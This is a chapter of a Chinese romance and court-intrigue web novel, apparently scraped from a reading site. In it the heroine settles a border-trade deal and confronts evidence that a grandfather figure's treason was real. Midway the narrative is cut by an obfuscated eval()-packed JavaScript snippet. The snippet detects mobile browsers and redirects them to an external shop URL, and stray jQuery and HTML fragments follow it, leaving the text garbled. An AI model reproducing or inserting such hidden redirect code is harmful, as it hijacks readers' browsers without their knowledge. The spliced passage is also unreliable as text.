75. 水落石出
    晨露浓重,尖锐的鸟鸣扇动着翅膀刺破昏暗的天幕。

    第一抹晨光透过氤氲的雾气,像是涂抹不均匀的金色颜料,挣扎着投射进了宫墙。

    身上溃烂的伤口此刻已看不出任何痕迹,就连我所承受过的疼痛都像是我的臆想。

    就好像昨夜发生过的一切,都只是一场梦。

    廊下清风,冷冽的草木味道,更是扰的人心神不宁。

    “王嫂真的没有想过,我王兄为何非要杀了太妃吗?”

    “他只不过,想把你留在他身边而已。”

    “你是澧朝来的和亲郡主,就合该履行承诺,不是吗?”

    赫连喻恩话里的期冀和失望,也同风一道,卷着落叶黄沙,化作晨里短暂的喧嚣,再难攫取。

    这座空荡的院子,也在等待苏醒的时刻。

    我倚着墙,捏着手,看着窗纸上渐渐模糊、不甚清晰的人影发呆。

    赫连喻时这样的人,我要相信他真的喜欢我?

    相信我真的重要到能让他不顾一切,一心只想把我留在他身边?

    他要杀太妃,可以是为了泄愤,可以是为了铲除后顾之忧。

    但凭什么说是为了我?

    更何况,我从来都不喜欢被人威胁。

    他做的事情,又凭什么让我来承担后果。

    窗纸上映出的人影,由远及近,勾勒出熟悉的轮廓。

    啪嗒。

    檀木窗外泻出一片昏黄。

    “赵姑娘。”

    ……

    一本正经的语气,我一时竟不知道要摆出什么表情来看他。

    他最近总喜欢穿深色的衣服,气质比以往要阴郁些。

    但即使是一夜未眠,他也没有丝毫倦怠。

    这个人不是向来身体不好?

    怎么现在看起来,倒比我还要精神些?

    “要事相商,可否赏光?”他的手伸出来,佯装来拽我的衣带。

    我鼓起嘴巴,瞪了他一眼,转身推开门就跨了进去。

    屋子里没有熏香,但是总是有一股若有似无的玫瑰香味。

    柳南知坐在桌前,提着笔不知道在写些什么。

    高鹤言和赫连喻时站在一处,一前一后,皆眉头深锁。

    我的心突然就提了起来,看这架势,难道商谈不是很愉快?

    “闲兴居的东家,到现在还想置身事外吗?”

    谢晚支好窗子,踱步到桌前,嘴角萦绕着淡淡的笑意。

    ……

    我感觉他在骂我,可是我没有证据。

    “赵姑娘看看吧。”

    柳南知停笔,随后让开了位置。

    跟赶鸭子上架似的。

    我表面上还是装作云淡风轻的样子,走了过去。

    长约一尺半的元书纸。

    密密麻麻的小字行云流水,一气呵成。

    “让利三成,你没有意见?”

    我按耐不住我的惊讶,声音脱口而出。

    赫连喻时“嗯”了一声,没做过多解释。

    “到时候你要是血本无归,不会反悔?”音调拔高,我没忍住接着追问,“这样的条款,你没看出是欺负你?”

    “不会。”他坚定道,“你最多只是让我少赚点。”

    ……

    不是,我都没出面,他怎么知道是我的意思?

    还有这岂止叫少赚点?他真的学过算术么?

    高鹤言背过身去,我好像捕捉到了他一闪而过的白眼。

    我有些心虚,声音自然也小了一些:“边境贸易,经营起来本就不易,若是底下做事的人尝不到甜头,恐怕会有变故,还是……”

    他打断了我的话:“不会。”

    我偷偷捏起笔:“你到时候一心政务,哪有时间……”

    “有言徵在。”

    ……

    高鹤言又转过身来,嘴唇抿着,安静的像一只木偶。

    我顿了下,还是在纸上圈上了一个圆圈:“一成吧。”

    “三年之后开始。”

    我思考了一下,还是把笔递给了柳南知。

    他看戏的笑容瞬间就僵在脸上。

    我装作不懂,把笔搁在了笔架上,让开了位置。

    柳南知不情不愿地奋笔疾书。

    高鹤言的神色稍稍缓和,把之前的那份叠好,塞进了自己袖子里。

    我思前想后,还是开了口:“之前两国虽也有贸易往来,但规模小,间隔时间也长。我们现在既然要扩展边境贸易,那无论是商队规模,还是贸易频次都会不同于往日。”

    “各地的每个据点,我都会去考察,但要保证时效和货物安全,想来是要新增多处据点,到时候我会再同你商量。”

    赫连喻时点了点头,我想着既然我已经搅和进来,话就得说完,“但两国关系向来紧张,金梧商队恐怕不会贸然出动,百姓更是。这一点,还请你多多考虑。”

    “我已经安排好出发的商队,但毕竟月氏霖身死,余孽未消,朝局不稳。”他停顿了好一会儿,才接着说道,“最快也要一个月。”

    听他的口气,应该是深思熟虑后给我的答案。

    “好,我会随同商队,离开金梧。”

    赫连喻时没再说话,柳南知再次停笔,却是来问我:“这一条不会再改了吧?”

    他这话问的我,更加心虚。

    我忙掏出我的私印,往纸上一盖。

    落荒而逃。

    ——

    晨间时候,湖心亭的风景甚好。

    我斜倚着栏杆,捏着鱼食,望着蜂拥而来的鱼群抢食。

    “何时离开?”

    我随口问道,紧接着又洒下一把鱼食。

    一只红白相间的鲤鱼跃的老高,一点水花溅到我脸上。

    “五日后。”

    他用衣袖来给我擦脸,然后将我手里的鱼食都洒进了湖里。

    “你为何非我进去?”我赌气不去看他。

    “他非要让利三成,只有你才能一锤定音。”他捉着我的手腕,替我掸干净手里的鱼食残屑。

    我扬了扬眉毛,打了哈欠,把头埋进臂弯里睡觉。

    他紧接着坐到我身边。

    “祈老太爷。”

    他握住了我的手。

    心脏登时漏跳了一拍。

    脖颈僵着,连带着我的脑子都成了一团浆糊。

    我一直没有开口去问,藏书阁上祁序川通敌叛国的罪证是什么。

    是因为我知道,祈叔叔不会通敌叛国,这些是假的。

    “不可能。”

    我艰难地咽了口唾沫,声音干涩到嗓子口溢出腥甜。

    “外公和赫连枭通信,每一封信,每一个字,我都看了。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689362|144358||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    所以,这些信件,全都是真的。

    他的眼神落在湖面,虚无的没有着落,看不出任何情绪,“边境纷争不断,适逢父皇新帝登基,外公才想用北境的四座城池,换得两国和平。”

    我的手被他握住,我头一次不敢乱动:“那最后为什么,我们失去的是十二座城池?”

    “世上没有不透风的墙。”他的声音平淡,就像是在述说一件无关紧要的小事,“金梧的夺嫡之争,从来没有消停过。”

    “我记得陛下登基那年,先是罕见的干旱,庄稼颗粒无收,后又有了瘟疫,连帝京城都没能幸免。再加上北境边线辽阔,边陲小镇难以管辖,祈老太爷恐怕……”

    我猛然合上嘴巴,心如擂鼓。

    我在干什么?

    我在给罪人找借口。

    给通敌叛国,一个合理的理由。

    谢晚的拇指摩挲着我的手背,他许久没有开口说话。

    雾气消散后,金灿灿的阳光抛洒,我却觉得难过沉闷,更觉得阳光刺眼。

    “阿满,我到底在做什么?”他自嘲地笑笑,低下了头颅,“我这十年,到底在做什么?”

    祈叔叔会牵涉其中吗?

    我一时间竟也迷失了方向。

    我突然想到父亲。

    那年父亲奔波劳累,据理力争,最后却也妥协了。

    我本以为是他愚忠,是他不顾旧情,做了圣上的帮凶。

    现在呢,我不知道。

    我不知道父亲是不是查到了什么,他那时候是不是也和我们现在一样迷茫。

    我又想到了外公,我突然不敢回去,我不敢回去面对他。

    “不是的。”我下定决心,反握住他的手,坚定地甩出三个字。

    我半蹲在地上,昂首对上他的眼睛,“谢停舟,还没到水落石出的时候。”

    “我不相信,单单一个赫连昶就能让事态失控。所以无论结果是什么,你都要查个清楚明白。”

    一滴泪从他的眼眶掉落,落在我的手背上。

    我的心就像被一只无形的大手死死捏住。

    细密的疼痛蔓延至四肢百骸,我的手骤然攥紧。

    我好害怕。

    我害怕他会消失。

    一想到这里,我突然喘不上气来。

    我直接扑进他怀里。

    “谢停舟。”他的名字,我第一次不敢说的干脆利落,“别丢下我。”

    “祈叔叔不会的。”我忍不住紧紧抱住他,“你肯定比我还要清楚。”

    我不敢流泪,眼泪被我死死憋住。

    每一句话我都试图说的平静温和。

    “谢停舟,你做的事情,还没有结束。”

    他的身体单薄,身上也没有好闻的乌沉香的味道。

    我好像快抓不住他了。

    “你不可以死!”我抬起头,盯着他,生怕错过他任何一个表情,“你要是死了,我绝对不会放过你!”

    他没有表情,就像是一只没有灵魂的人偶。

    我知道信念崩塌,难以接受,更何况他坚持了十数年。

    他要为一个人争,争该有的清白,争该有的尊严,争该有的荣誉。

    可是这一切,突然就变了。

    那个人的清白人生,就像是一滴墨渗透进了清水坛。

    不再有纯粹的清白了。